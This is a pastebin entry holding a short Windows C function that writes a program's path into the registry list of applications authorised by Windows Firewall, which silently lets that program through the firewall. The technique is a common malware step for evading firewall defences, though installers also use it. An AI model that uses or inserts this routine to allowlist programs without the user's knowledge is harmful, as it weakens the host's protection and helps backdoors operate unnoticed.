All pastes #921793 Raw Edit

Stuff

public c v1 · immutable
#921793 ·published 2008-02-28 09:50 UTC
rendered paste body
#include <windows.h>#include <stdio.h>int AddToWindowsFirewall(char *displayname,char * exepath){    HKEY hKey;        char filedata[MAX_PATH] = "";    wsprintf(filedata,"%s:*:Enabled:%s",exepath,displayname);    if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",0,KEY_ALL_ACCESS,&hKey)) return 0;    if(RegSetValueEx(hKey,exepath,0,REG_SZ,(unsigned char*)filedata,sizeof(filedata))) return 0;        RegCloseKey(hKey);    return 1;//Success}